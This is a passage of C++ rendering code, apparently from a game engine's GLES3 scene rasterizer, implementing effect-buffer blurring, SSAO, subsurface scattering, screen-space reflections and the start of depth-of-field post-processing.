storage->particles_owner.getptr(inst->base); ERR_CONTINUE(!particles); for (int j = 0; j < particles->draw_passes.size(); j++) { RID pmesh = particles->draw_passes[j]; if (!pmesh.is_valid()) continue; RasterizerStorageGLES3::Mesh *mesh = storage->mesh_owner.get(pmesh); if (!mesh) continue; //mesh not assigned int ssize = mesh->surfaces.size(); for (int k = 0; k < ssize; k++) { RasterizerStorageGLES3::Surface *s = mesh->surfaces[k]; _add_geometry(s, inst, particles, -1, p_depth_pass, p_shadow_pass); } } } break; default: { } } } } void RasterizerSceneGLES3::_blur_effect_buffer() { //blur diffuse into effect mipmaps using separatable convolution //storage->shaders.copy.set_conditional(CopyShaderGLES3::GAUSSIAN_HORIZONTAL,true); for (int i = 0; i < storage->frame.current_rt->effects.mip_maps[1].sizes.size(); i++) { int vp_w = storage->frame.current_rt->effects.mip_maps[1].sizes[i].width; int vp_h = storage->frame.current_rt->effects.mip_maps[1].sizes[i].height; glViewport(0, 0, vp_w, vp_h); //horizontal pass state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GAUSSIAN_HORIZONTAL, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LOD, float(i)); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); //previous level, since mipmaps[0] starts one level bigger glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[1].sizes[i].fbo); _copy_screen(true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GAUSSIAN_HORIZONTAL, false); //vertical pass state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GAUSSIAN_VERTICAL, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LOD, float(i)); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[1].color); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[i + 1].fbo); //next level, since mipmaps[0] starts one level bigger _copy_screen(true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::GAUSSIAN_VERTICAL, false); } } void RasterizerSceneGLES3::_prepare_depth_texture() { if (!state.prepared_depth_texture) { //resolve depth buffer glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_DEPTH_BUFFER_BIT, GL_NEAREST); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); state.prepared_depth_texture = true; } } void RasterizerSceneGLES3::_bind_depth_texture() { if (!state.bound_depth_texture) { ERR_FAIL_COND(!state.prepared_depth_texture); //bind depth for read glActiveTexture(GL_TEXTURE0 + storage->config.max_texture_image_units - 8); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); state.bound_depth_texture = true; } } void RasterizerSceneGLES3::_render_mrts(Environment *env, const CameraMatrix &p_cam_projection) { glDepthMask(GL_FALSE); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glDisable(GL_BLEND); _prepare_depth_texture(); if (env->ssao_enabled || env->ssr_enabled) { //copy normal and roughness to effect buffer glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT2); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->buffers.effect_fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT, GL_NEAREST); } if (env->ssao_enabled) { //copy diffuse to front buffer glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT, GL_NEAREST); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); //copy from depth, convert to linear GLint ss[2]; ss[0] = storage->frame.current_rt->width; ss[1] = storage->frame.current_rt->height; for (int i = 0; i < storage->frame.current_rt->effects.ssao.depth_mipmap_fbos.size(); i++) { state.ssao_minify_shader.set_conditional(SsaoMinifyShaderGLES3::MINIFY_START, i == 0); state.ssao_minify_shader.set_conditional(SsaoMinifyShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.ssao_minify_shader.bind(); state.ssao_minify_shader.set_uniform(SsaoMinifyShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); state.ssao_minify_shader.set_uniform(SsaoMinifyShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.ssao_minify_shader.set_uniform(SsaoMinifyShaderGLES3::SOURCE_MIPMAP, MAX(0, i - 1)); glUniform2iv(state.ssao_minify_shader.get_uniform(SsaoMinifyShaderGLES3::FROM_SIZE), 1, ss); ss[0] >>= 1; ss[1] >>= 1; glActiveTexture(GL_TEXTURE0); if (i == 0) { glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); } else { glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.ssao.linear_depth); } glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.ssao.depth_mipmap_fbos[i]); //copy to front first glViewport(0, 0, ss[0], ss[1]); _copy_screen(true); } ss[0] = storage->frame.current_rt->width; ss[1] = storage->frame.current_rt->height; glViewport(0, 0, ss[0], ss[1]); glEnable(GL_DEPTH_TEST); glDepthFunc(GL_GREATER); // do SSAO! state.ssao_shader.set_conditional(SsaoShaderGLES3::ENABLE_RADIUS2, env->ssao_radius2 > 0.001); state.ssao_shader.set_conditional(SsaoShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.ssao_shader.set_conditional(SsaoShaderGLES3::SSAO_QUALITY_LOW, env->ssao_quality == VS::ENV_SSAO_QUALITY_LOW); state.ssao_shader.set_conditional(SsaoShaderGLES3::SSAO_QUALITY_HIGH, env->ssao_quality == VS::ENV_SSAO_QUALITY_HIGH); state.ssao_shader.bind(); state.ssao_shader.set_uniform(SsaoShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); state.ssao_shader.set_uniform(SsaoShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); glUniform2iv(state.ssao_shader.get_uniform(SsaoShaderGLES3::SCREEN_SIZE), 1, ss); float radius = env->ssao_radius; state.ssao_shader.set_uniform(SsaoShaderGLES3::RADIUS, radius); float intensity = env->ssao_intensity; state.ssao_shader.set_uniform(SsaoShaderGLES3::INTENSITY_DIV_R6, intensity / pow(radius, 6.0f)); if (env->ssao_radius2 > 0.001) { float radius2 = env->ssao_radius2; state.ssao_shader.set_uniform(SsaoShaderGLES3::RADIUS2, radius2); float intensity2 = env->ssao_intensity2; state.ssao_shader.set_uniform(SsaoShaderGLES3::INTENSITY_DIV_R62, intensity2 / pow(radius2, 6.0f)); } float proj_info[4] = { -2.0f / (ss[0] * p_cam_projection.matrix[0][0]), -2.0f / (ss[1] * p_cam_projection.matrix[1][1]), (1.0f - p_cam_projection.matrix[0][2]) / p_cam_projection.matrix[0][0], (1.0f + p_cam_projection.matrix[1][2]) / p_cam_projection.matrix[1][1] }; glUniform4fv(state.ssao_shader.get_uniform(SsaoShaderGLES3::PROJ_INFO), 1, proj_info); float pixels_per_meter = float(p_cam_projection.get_pixels_per_meter(ss[0])); state.ssao_shader.set_uniform(SsaoShaderGLES3::PROJ_SCALE, pixels_per_meter); state.ssao_shader.set_uniform(SsaoShaderGLES3::BIAS, env->ssao_bias); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.ssao.linear_depth); glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->buffers.effect); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.ssao.blur_fbo[0]); //copy to front first Color white(1, 1, 1, 1); glClearBufferfv(GL_COLOR, 0, white.components); // specular _copy_screen(true); //do the batm, i mean blur state.ssao_blur_shader.bind(); if (env->ssao_filter) { for (int i = 0; i < 2; i++) { state.ssao_blur_shader.set_uniform(SsaoBlurShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); state.ssao_blur_shader.set_uniform(SsaoBlurShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.ssao_blur_shader.set_uniform(SsaoBlurShaderGLES3::EDGE_SHARPNESS, env->ssao_bilateral_sharpness); state.ssao_blur_shader.set_uniform(SsaoBlurShaderGLES3::FILTER_SCALE, int(env->ssao_filter)); GLint axis[2] = { i, 1 - i }; glUniform2iv(state.ssao_blur_shader.get_uniform(SsaoBlurShaderGLES3::AXIS), 1, axis); glUniform2iv(state.ssao_blur_shader.get_uniform(SsaoBlurShaderGLES3::SCREEN_SIZE), 1, ss); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.ssao.blur_red[i]); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->buffers.effect); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.ssao.blur_fbo[1 - i]); if (i == 0) { glClearBufferfv(GL_COLOR, 0, white.components); // specular } _copy_screen(true); } } glDisable(GL_DEPTH_TEST); glDepthFunc(GL_LEQUAL); // just copy diffuse while applying SSAO state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::SSAO_MERGE, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::SSAO_COLOR, env->ssao_color); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); //previous level, since mipmaps[0] starts one level bigger glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.ssao.blur_red[0]); //previous level, since mipmaps[0] starts one level bigger glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); // copy to base level _copy_screen(true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::SSAO_MERGE, false); } else { //copy diffuse to effect buffer glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT | GL_DEPTH_BUFFER_BIT, GL_NEAREST); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); } if (state.used_sss) { //sss enabled //copy diffuse while performing sss Plane p = p_cam_projection.xform4(Plane(1, 0, -1, 1)); p.normal /= p.d; float unit_size = p.normal.x; //copy normal and roughness to effect buffer glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT3); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->effects.ssao.blur_fbo[0]); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT, GL_LINEAR); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::USE_11_SAMPLES, subsurface_scatter_quality == SSS_QUALITY_LOW); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::USE_17_SAMPLES, subsurface_scatter_quality == SSS_QUALITY_MEDIUM); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::USE_25_SAMPLES, subsurface_scatter_quality == SSS_QUALITY_HIGH); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::ENABLE_FOLLOW_SURFACE, subsurface_scatter_follow_surface); state.sss_shader.set_conditional(SubsurfScatteringShaderGLES3::ENABLE_STRENGTH_WEIGHTING, subsurface_scatter_weight_samples); state.sss_shader.bind(); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::MAX_RADIUS, subsurface_scatter_size); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::UNIT_SIZE, unit_size); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::DIR, Vector2(1, 0)); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); //disable filter (fixes bugs on AMD) glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.ssao.blur_red[0]); glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); //glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_NONE); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); //copy to front first _copy_screen(true); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); state.sss_shader.set_uniform(SubsurfScatteringShaderGLES3::DIR, Vector2(0, 1)); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); // copy to base level _copy_screen(true); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); //restore filter glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_LINEAR); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_LINEAR_MIPMAP_LINEAR); } if (env->ssr_enabled) { //blur diffuse into effect mipmaps using separatable convolution //storage->shaders.copy.set_conditional(CopyShaderGLES3::GAUSSIAN_HORIZONTAL,true); _blur_effect_buffer(); //perform SSR state.ssr_shader.set_conditional(ScreenSpaceReflectionShaderGLES3::REFLECT_ROUGHNESS, env->ssr_roughness); state.ssr_shader.set_conditional(ScreenSpaceReflectionShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.ssr_shader.bind(); int ssr_w = storage->frame.current_rt->effects.mip_maps[1].sizes[0].width; int ssr_h = storage->frame.current_rt->effects.mip_maps[1].sizes[0].height; state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::PIXEL_SIZE, Vector2(1.0 / (ssr_w * 0.5), 1.0 / (ssr_h * 0.5))); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::PROJECTION, p_cam_projection); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::INVERSE_PROJECTION, p_cam_projection.inverse()); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::VIEWPORT_SIZE, Size2(ssr_w, ssr_h)); //state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::FRAME_INDEX,int(render_pass)); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::FILTER_MIPMAP_LEVELS, float(storage->frame.current_rt->effects.mip_maps[0].sizes.size())); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::NUM_STEPS, env->ssr_max_steps); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::DEPTH_TOLERANCE, env->ssr_depth_tolerance); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::DISTANCE_FADE, env->ssr_fade_out); state.ssr_shader.set_uniform(ScreenSpaceReflectionShaderGLES3::CURVE_FADE_IN, env->ssr_fade_in); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->buffers.effect); glActiveTexture(GL_TEXTURE2); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_COMPARE_MODE, GL_NONE); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[1].sizes[0].fbo); glViewport(0, 0, ssr_w, ssr_h); _copy_screen(true); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); } glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glReadBuffer(GL_COLOR_ATTACHMENT1); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->fbo); //glDrawBuffer(GL_COLOR_ATTACHMENT0); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT, GL_NEAREST); glReadBuffer(GL_COLOR_ATTACHMENT0); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); //copy reflection over diffuse, resolving SSR if needed state.resolve_shader.set_conditional(ResolveShaderGLES3::USE_SSR, env->ssr_enabled); state.resolve_shader.bind(); state.resolve_shader.set_uniform(ResolveShaderGLES3::PIXEL_SIZE, Vector2(1.0 / storage->frame.current_rt->width, 1.0 / storage->frame.current_rt->height)); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); if (env->ssr_enabled) { glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[1].color); } glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); glEnable(GL_BLEND); glBlendEquation(GL_FUNC_ADD); glBlendFunc(GL_ONE, GL_ONE); //use additive to accumulate one over the other _copy_screen(true); glDisable(GL_BLEND); //end additive if (state.used_screen_texture) { _blur_effect_buffer(); //restored framebuffer glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); glViewport(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height); } state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::SIMPLE_COPY, true); state.effect_blur_shader.bind(); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::LOD, float(0)); { GLuint db = GL_COLOR_ATTACHMENT0; glDrawBuffers(1, &db); } glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); _copy_screen(true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::SIMPLE_COPY, false); } void RasterizerSceneGLES3::_post_process(Environment *env, const CameraMatrix &p_cam_projection) { //copy to front buffer glDepthMask(GL_FALSE); glDisable(GL_DEPTH_TEST); glDisable(GL_CULL_FACE); glDisable(GL_BLEND); glDepthFunc(GL_LEQUAL); glColorMask(1, 1, 1, 1); //turn off everything used //copy specular to front buffer //copy diffuse to effect buffer if (storage->frame.current_rt->buffers.active) { //transfer to effect buffer if using buffers, also resolve MSAA glBindFramebuffer(GL_READ_FRAMEBUFFER, storage->frame.current_rt->buffers.fbo); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); glBlitFramebuffer(0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, 0, 0, storage->frame.current_rt->width, storage->frame.current_rt->height, GL_COLOR_BUFFER_BIT, GL_NEAREST); glBindFramebuffer(GL_READ_FRAMEBUFFER, 0); glBindFramebuffer(GL_DRAW_FRAMEBUFFER, 0); } if (!env || storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT] || storage->frame.current_rt->width < 4 || storage->frame.current_rt->height < 4) { //no post process on small render targets //no environment or transparent render, simply return and convert to SRGB if (storage->frame.current_rt->external.fbo != 0) { glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->external.fbo); } else { glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); } glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->effects.mip_maps[0].color); storage->shaders.copy.set_conditional(CopyShaderGLES3::LINEAR_TO_SRGB, !storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_KEEP_3D_LINEAR]); storage->shaders.copy.set_conditional(CopyShaderGLES3::V_FLIP, storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_VFLIP]); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, !storage->frame.current_rt->flags[RasterizerStorage::RENDER_TARGET_TRANSPARENT]); storage->shaders.copy.bind(); _copy_screen(true); storage->shaders.copy.set_conditional(CopyShaderGLES3::LINEAR_TO_SRGB, false); storage->shaders.copy.set_conditional(CopyShaderGLES3::DISABLE_ALPHA, false); //compute luminance storage->shaders.copy.set_conditional(CopyShaderGLES3::V_FLIP, false); return; } //order of operation //1) DOF Blur (first blur, then copy to buffer applying the blur) //2) Motion Blur //3) Bloom //4) Tonemap //5) Adjustments GLuint composite_from = storage->frame.current_rt->effects.mip_maps[0].color; if (env->dof_blur_far_enabled) { //blur diffuse into effect mipmaps using separatable convolution //storage->shaders.copy.set_conditional(CopyShaderGLES3::GAUSSIAN_HORIZONTAL,true); int vp_h = storage->frame.current_rt->height; int vp_w = storage->frame.current_rt->width; state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_FAR_BLUR, true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_LOW, env->dof_blur_far_quality == VS::ENV_DOF_BLUR_QUALITY_LOW); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_MEDIUM, env->dof_blur_far_quality == VS::ENV_DOF_BLUR_QUALITY_MEDIUM); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_HIGH, env->dof_blur_far_quality == VS::ENV_DOF_BLUR_QUALITY_HIGH); state.effect_blur_shader.bind(); int qsteps[3] = { 4, 10, 20 }; float radius = (env->dof_blur_far_amount * env->dof_blur_far_amount) / qsteps[env->dof_blur_far_quality]; state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_BEGIN, env->dof_blur_far_distance); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_END, env->dof_blur_far_distance + env->dof_blur_far_transition); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_DIR, Vector2(1, 0)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_RADIUS, radius); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, composite_from); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); //copy to front first _copy_screen(true); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->color); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_DIR, Vector2(0, 1)); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->effects.mip_maps[0].sizes[0].fbo); // copy to base level _copy_screen(); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_FAR_BLUR, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_LOW, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_MEDIUM, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_HIGH, false); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::USE_ORTHOGONAL_PROJECTION, false); composite_from = storage->frame.current_rt->effects.mip_maps[0].color; } if (env->dof_blur_near_enabled) { //blur diffuse into effect mipmaps using separatable convolution //storage->shaders.copy.set_conditional(CopyShaderGLES3::GAUSSIAN_HORIZONTAL,true); int vp_h = storage->frame.current_rt->height; int vp_w = storage->frame.current_rt->width; state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::USE_ORTHOGONAL_PROJECTION, p_cam_projection.is_orthogonal()); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_BLUR, true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_FIRST_TAP, true); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_LOW, env->dof_blur_near_quality == VS::ENV_DOF_BLUR_QUALITY_LOW); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_MEDIUM, env->dof_blur_near_quality == VS::ENV_DOF_BLUR_QUALITY_MEDIUM); state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_QUALITY_HIGH, env->dof_blur_near_quality == VS::ENV_DOF_BLUR_QUALITY_HIGH); state.effect_blur_shader.bind(); int qsteps[3] = { 4, 10, 20 }; float radius = (env->dof_blur_near_amount * env->dof_blur_near_amount) / qsteps[env->dof_blur_near_quality]; state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_BEGIN, env->dof_blur_near_distance); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_END, env->dof_blur_near_distance - env->dof_blur_near_transition); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_DIR, Vector2(1, 0)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::DOF_RADIUS, radius); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::PIXEL_SIZE, Vector2(1.0 / vp_w, 1.0 / vp_h)); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_NEAR, p_cam_projection.get_z_near()); state.effect_blur_shader.set_uniform(EffectBlurShaderGLES3::CAMERA_Z_FAR, p_cam_projection.get_z_far()); glActiveTexture(GL_TEXTURE1); glBindTexture(GL_TEXTURE_2D, storage->frame.current_rt->depth); glActiveTexture(GL_TEXTURE0); glBindTexture(GL_TEXTURE_2D, composite_from); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MAG_FILTER, GL_NEAREST); glTexParameteri(GL_TEXTURE_2D, GL_TEXTURE_MIN_FILTER, GL_NEAREST); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_S, GL_CLAMP_TO_EDGE); glTexParameterf(GL_TEXTURE_2D, GL_TEXTURE_WRAP_T, GL_CLAMP_TO_EDGE); glBindFramebuffer(GL_FRAMEBUFFER, storage->frame.current_rt->fbo); //copy to front first _copy_screen(); //manually do the blend if this is the first operation resolving from the diffuse buffer state.effect_blur_shader.set_conditional(EffectBlurShaderGLES3::DOF_NEAR_BLUR_MERGE, composite_from == storage->frame.current_rt->buffers.diffuse); 